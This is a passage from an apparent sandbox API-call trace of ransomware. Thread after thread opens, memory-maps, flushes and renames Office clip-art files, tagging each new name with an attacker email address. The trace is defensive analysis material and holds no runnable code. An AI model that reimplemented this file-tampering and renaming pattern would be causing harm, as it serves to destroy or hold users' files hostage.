	[0102.092] CreateFileMappingA (hFile=0xf70, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x17743, lpName=0x0) returned 0xf74
	[0102.092] MapViewOfFile (hFileMappingObject=0xf74, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x3d90000
	[0102.376] UnmapViewOfFile (lpBaseAddress=0x3d90000) returned 1
	[0102.377] CloseHandle (hObject=0xf74) returned 1
	[0102.377] GetCurrentThreadId () returned 0x1cdc
	[0102.377] FlushFileBuffers (hFile=0xf70) returned 1
	[0102.435] CloseHandle (hObject=0xf70) returned 1
	[0102.439] _swprintf (in: param_1=0x3d89f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0400005.png") returned 97
	[0102.439] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0400005.png" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0400005.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0400005.png" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0400005.png")) returned 1
	[0102.455] free (_Block=0x51f5098) 
	[0102.455] RtlExitUserThread (Status=0x0) 

Thread:
	id = 800
	os_tid = 0x1ce4

	[0102.466] _alloca_probe () returned 0x40328a
	[0102.467] GetCurrentThreadId () returned 0x1ce4
	[0102.467] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH00601G.gif", dwFileAttributes=0x80) returned 1
	[0102.467] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH00601G.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph00601g.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf58
	[0102.468] GetFileSizeEx (in: hFile=0xf58, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=1577) returned 1
	[0102.468] CreateFileMappingA (hFile=0xf58, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x631, lpName=0x0) returned 0xf34
	[0102.468] MapViewOfFile (hFileMappingObject=0xf34, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0102.469] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0102.469] CloseHandle (hObject=0xf34) returned 1
	[0102.469] GetCurrentThreadId () returned 0x1ce4
	[0102.469] FlushFileBuffers (hFile=0xf58) returned 1
	[0102.495] CloseHandle (hObject=0xf58) returned 1
	[0102.496] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH00601G.gif") returned 97
	[0102.496] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH00601G.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph00601g.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH00601G.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ph00601g.gif")) returned 1
	[0102.497] free (_Block=0x51f0070) 
	[0102.497] RtlExitUserThread (Status=0x0) 

Thread:
	id = 801
	os_tid = 0x1ce8

	[0102.486] _alloca_probe () returned 0x40328a
	[0102.486] GetCurrentThreadId () returned 0x1ce8
	[0102.486] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH00780U.bmp", dwFileAttributes=0x80) returned 1
	[0102.487] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH00780U.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph00780u.bmp"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf44
	[0102.487] GetFileSizeEx (in: hFile=0xf44, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=34344) returned 1
	[0102.487] CreateFileMappingA (hFile=0xf44, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x862f, lpName=0x0) returned 0xf1c
	[0102.487] MapViewOfFile (hFileMappingObject=0xf1c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2360000
	[0102.498] UnmapViewOfFile (lpBaseAddress=0x2360000) returned 1
	[0102.498] CloseHandle (hObject=0xf1c) returned 1
	[0102.498] GetCurrentThreadId () returned 0x1ce8
	[0102.498] FlushFileBuffers (hFile=0xf44) returned 1
	[0102.501] CloseHandle (hObject=0xf44) returned 1
	[0102.501] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH00780U.bmp") returned 97
	[0102.501] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH00780U.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph00780u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH00780U.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ph00780u.bmp")) returned 1
	[0102.502] free (_Block=0x51f80b0) 
	[0102.502] RtlExitUserThread (Status=0x0) 

Thread:
	id = 802
	os_tid = 0x1cec

	[0102.503] _alloca_probe () returned 0x40328a
	[0102.504] GetCurrentThreadId () returned 0x1cec
	[0102.504] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01035U.bmp", dwFileAttributes=0x80) returned 1
	[0102.505] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01035U.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01035u.bmp"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf1c
	[0102.505] GetFileSizeEx (in: hFile=0xf1c, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=32400) returned 1
	[0102.505] CreateFileMappingA (hFile=0xf1c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7e90, lpName=0x0) returned 0xf58
	[0102.505] MapViewOfFile (hFileMappingObject=0xf58, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0102.514] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0102.514] CloseHandle (hObject=0xf58) returned 1
	[0102.514] GetCurrentThreadId () returned 0x1cec
	[0102.514] FlushFileBuffers (hFile=0xf1c) returned 1
	[0102.516] CloseHandle (hObject=0xf1c) returned 1
	[0102.516] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH01035U.bmp") returned 97
	[0102.516] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01035U.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01035u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH01035U.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ph01035u.bmp")) returned 1
	[0102.518] free (_Block=0x51f3088) 
	[0102.518] RtlExitUserThread (Status=0x0) 

Thread:
	id = 803
	os_tid = 0x1cf0

	[0102.520] _alloca_probe () returned 0x40328a
	[0102.521] GetCurrentThreadId () returned 0x1cf0
	[0102.521] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01046J.jpg", dwFileAttributes=0x80) returned 1
	[0102.522] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01046J.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01046j.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf58
	[0102.522] GetFileSizeEx (in: hFile=0xf58, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=135611) returned 1
	[0102.522] CreateFileMappingA (hFile=0xf58, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x211c5, lpName=0x0) returned 0xf64
	[0102.522] MapViewOfFile (hFileMappingObject=0xf64, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0102.567] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0102.569] CloseHandle (hObject=0xf64) returned 1
	[0102.569] GetCurrentThreadId () returned 0x1cf0
	[0102.569] FlushFileBuffers (hFile=0xf58) returned 1
	[0102.577] CloseHandle (hObject=0xf58) returned 1
	[0102.578] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH01046J.jpg") returned 97
	[0102.578] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01046J.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01046j.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH01046J.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ph01046j.jpg")) returned 1
	[0102.579] free (_Block=0x51f60a0) 
	[0102.579] RtlExitUserThread (Status=0x0) 

Thread:
	id = 804
	os_tid = 0x1cf4

	[0102.537] _alloca_probe () returned 0x40328a
	[0102.538] GetCurrentThreadId () returned 0x1cf4
	[0102.538] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01179J.jpg", dwFileAttributes=0x80) returned 1
	[0102.538] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01179J.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01179j.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf14
	[0102.539] GetFileSizeEx (in: hFile=0xf14, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=41474) returned 1
	[0102.539] CreateFileMappingA (hFile=0xf14, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa203, lpName=0x0) returned 0xf28
	[0102.539] MapViewOfFile (hFileMappingObject=0xf28, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2390000
	[0102.574] UnmapViewOfFile (lpBaseAddress=0x2390000) returned 1
	[0102.575] CloseHandle (hObject=0xf28) returned 1
	[0102.575] GetCurrentThreadId () returned 0x1cf4
	[0102.575] FlushFileBuffers (hFile=0xf14) returned 1
	[0102.580] CloseHandle (hObject=0xf14) returned 1
	[0102.580] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH01179J.jpg") returned 97
	[0102.580] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01179J.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01179j.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH01179J.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ph01179j.jpg")) returned 1
	[0102.581] free (_Block=0x51f0070) 
	[0102.581] RtlExitUserThread (Status=0x0) 

Thread:
	id = 805
	os_tid = 0x1cf8

	[0102.583] _alloca_probe () returned 0x40328a
	[0102.584] GetCurrentThreadId () returned 0x1cf8
	[0102.584] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01213K.jpg", dwFileAttributes=0x80) returned 1
	[0102.584] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01213K.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01213k.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf58
	[0102.584] GetFileSizeEx (in: hFile=0xf58, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=6334) returned 1
	[0102.584] CreateFileMappingA (hFile=0xf58, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x18cb, lpName=0x0) returned 0xf28
	[0102.584] MapViewOfFile (hFileMappingObject=0xf28, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0102.587] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0102.587] CloseHandle (hObject=0xf28) returned 1
	[0102.587] GetCurrentThreadId () returned 0x1cf8
	[0102.587] FlushFileBuffers (hFile=0xf58) returned 1
	[0102.592] CloseHandle (hObject=0xf58) returned 1
	[0102.592] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH01213K.jpg") returned 97
	[0102.592] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01213K.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01213k.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH01213K.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ph01213k.jpg")) returned 1
	[0102.593] free (_Block=0x51f4090) 
	[0102.593] RtlExitUserThread (Status=0x0) 

Thread:
	id = 806
	os_tid = 0x1cfc

	[0102.590] _alloca_probe () returned 0x40328a
	[0102.591] GetCurrentThreadId () returned 0x1cfc
	[0102.591] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01221K.jpg", dwFileAttributes=0x80) returned 1
	[0102.591] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01221K.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01221k.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf64
	[0102.591] GetFileSizeEx (in: hFile=0xf64, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=7316) returned 1
	[0102.592] CreateFileMappingA (hFile=0xf64, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1c97, lpName=0x0) returned 0xee4
	[0102.592] MapViewOfFile (hFileMappingObject=0xee4, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2360000
	[0102.595] UnmapViewOfFile (lpBaseAddress=0x2360000) returned 1
	[0102.595] CloseHandle (hObject=0xee4) returned 1
	[0102.595] GetCurrentThreadId () returned 0x1cfc
	[0102.596] FlushFileBuffers (hFile=0xf64) returned 1
	[0102.598] CloseHandle (hObject=0xf64) returned 1
	[0102.598] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH01221K.jpg") returned 97
	[0102.598] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01221K.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01221k.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH01221K.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ph01221k.jpg")) returned 1
	[0102.599] free (_Block=0x51f0070) 
	[0102.599] RtlExitUserThread (Status=0x0) 

Thread:
	id = 807
	os_tid = 0x1d00

	[0104.022] _alloca_probe () returned 0x40328a
	[0104.023] GetCurrentThreadId () returned 0x1d00
	[0104.023] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01235U.bmp", dwFileAttributes=0x80) returned 1
	[0104.024] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01235U.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01235u.bmp"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xee4
	[0104.024] GetFileSizeEx (in: hFile=0xee4, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=32184) returned 1
	[0104.024] CreateFileMappingA (hFile=0xee4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7dbf, lpName=0x0) returned 0xf58
	[0104.024] MapViewOfFile (hFileMappingObject=0xf58, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0104.032] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0104.032] CloseHandle (hObject=0xf58) returned 1
	[0104.033] GetCurrentThreadId () returned 0x1d00
	[0104.033] FlushFileBuffers (hFile=0xee4) returned 1
	[0104.035] CloseHandle (hObject=0xee4) returned 1
	[0104.036] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH01235U.bmp") returned 97
	[0104.036] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01235U.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01235u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH01235U.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ph01235u.bmp")) returned 1
	[0104.037] free (_Block=0x51f5098) 
	[0104.037] RtlExitUserThread (Status=0x0) 

Thread:
	id = 808
	os_tid = 0x1d08

	[0104.050] _alloca_probe () returned 0x40328a
	[0104.050] GetCurrentThreadId () returned 0x1d08
	[0104.050] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01236U.bmp", dwFileAttributes=0x80) returned 1
	[0104.051] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01236U.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01236u.bmp"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf58
	[0104.053] GetFileSizeEx (in: hFile=0xf58, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=31968) returned 1
	[0104.053] CreateFileMappingA (hFile=0xf58, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7ce0, lpName=0x0) returned 0xf5c
	[0104.054] MapViewOfFile (hFileMappingObject=0xf5c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0104.060] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0104.061] CloseHandle (hObject=0xf5c) returned 1
	[0104.061] GetCurrentThreadId () returned 0x1d08
	[0104.061] FlushFileBuffers (hFile=0xf58) returned 1
	[0104.072] CloseHandle (hObject=0xf58) returned 1
	[0104.072] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH01236U.bmp") returned 97
	[0104.072] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01236U.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01236u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH01236U.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ph01236u.bmp")) returned 1
	[0104.074] free (_Block=0x51f0070) 
	[0104.074] RtlExitUserThread (Status=0x0) 

Thread:
	id = 809
	os_tid = 0x1d0c

	[0104.067] _alloca_probe () returned 0x40328a
	[0104.068] GetCurrentThreadId () returned 0x1d0c
	[0104.068] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01239K.jpg", dwFileAttributes=0x80) returned 1
	[0104.068] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01239K.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01239k.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf50
	[0104.068] GetFileSizeEx (in: hFile=0xf50, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=5988) returned 1
	[0104.069] CreateFileMappingA (hFile=0xf50, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1767, lpName=0x0) returned 0xf74
	[0104.069] MapViewOfFile (hFileMappingObject=0xf74, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2360000
	[0104.071] UnmapViewOfFile (lpBaseAddress=0x2360000) returned 1
	[0104.071] CloseHandle (hObject=0xf74) returned 1
	[0104.071] GetCurrentThreadId () returned 0x1d0c
	[0104.071] FlushFileBuffers (hFile=0xf50) returned 1
	[0104.076] CloseHandle (hObject=0xf50) returned 1
	[0104.076] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH01239K.jpg") returned 97
	[0104.076] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01239K.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01239k.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH01239K.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ph01239k.jpg")) returned 1
	[0104.077] free (_Block=0x51f80b0) 
	[0104.077] RtlExitUserThread (Status=0x0) 

Thread:
	id = 810
	os_tid = 0x1d10

	[0104.082] _alloca_probe () returned 0x40328a
	[0104.082] GetCurrentThreadId () returned 0x1d10
	[0104.082] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01247U.bmp", dwFileAttributes=0x80) returned 1
	[0104.082] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01247U.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01247u.bmp"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf58
	[0104.083] GetFileSizeEx (in: hFile=0xf58, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=31752) returned 1
	[0104.083] CreateFileMappingA (hFile=0xf58, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7c0f, lpName=0x0) returned 0xf74
	[0104.083] MapViewOfFile (hFileMappingObject=0xf74, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0104.090] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0104.090] CloseHandle (hObject=0xf74) returned 1
	[0104.090] GetCurrentThreadId () returned 0x1d10
	[0104.090] FlushFileBuffers (hFile=0xf58) returned 1
	[0104.093] CloseHandle (hObject=0xf58) returned 1
	[0104.093] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH01247U.bmp") returned 97
	[0104.093] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01247U.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01247u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH01247U.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ph01247u.bmp")) returned 1
	[0104.094] free (_Block=0x51f5098) 
	[0104.094] RtlExitUserThread (Status=0x0) 

Thread:
	id = 811
	os_tid = 0x1d14

	[0104.109] _alloca_probe () returned 0x40328a
	[0104.110] GetCurrentThreadId () returned 0x1d14
	[0104.110] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01255G.gif", dwFileAttributes=0x80) returned 1
	[0104.110] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01255G.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01255g.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf74
	[0104.111] GetFileSizeEx (in: hFile=0xf74, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=7765) returned 1
	[0104.111] CreateFileMappingA (hFile=0xf74, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1e59, lpName=0x0) returned 0xf68
	[0104.111] MapViewOfFile (hFileMappingObject=0xf68, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0104.113] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0104.113] CloseHandle (hObject=0xf68) returned 1
	[0104.113] GetCurrentThreadId () returned 0x1d14
	[0104.113] FlushFileBuffers (hFile=0xf74) returned 1
	[0104.116] CloseHandle (hObject=0xf74) returned 1
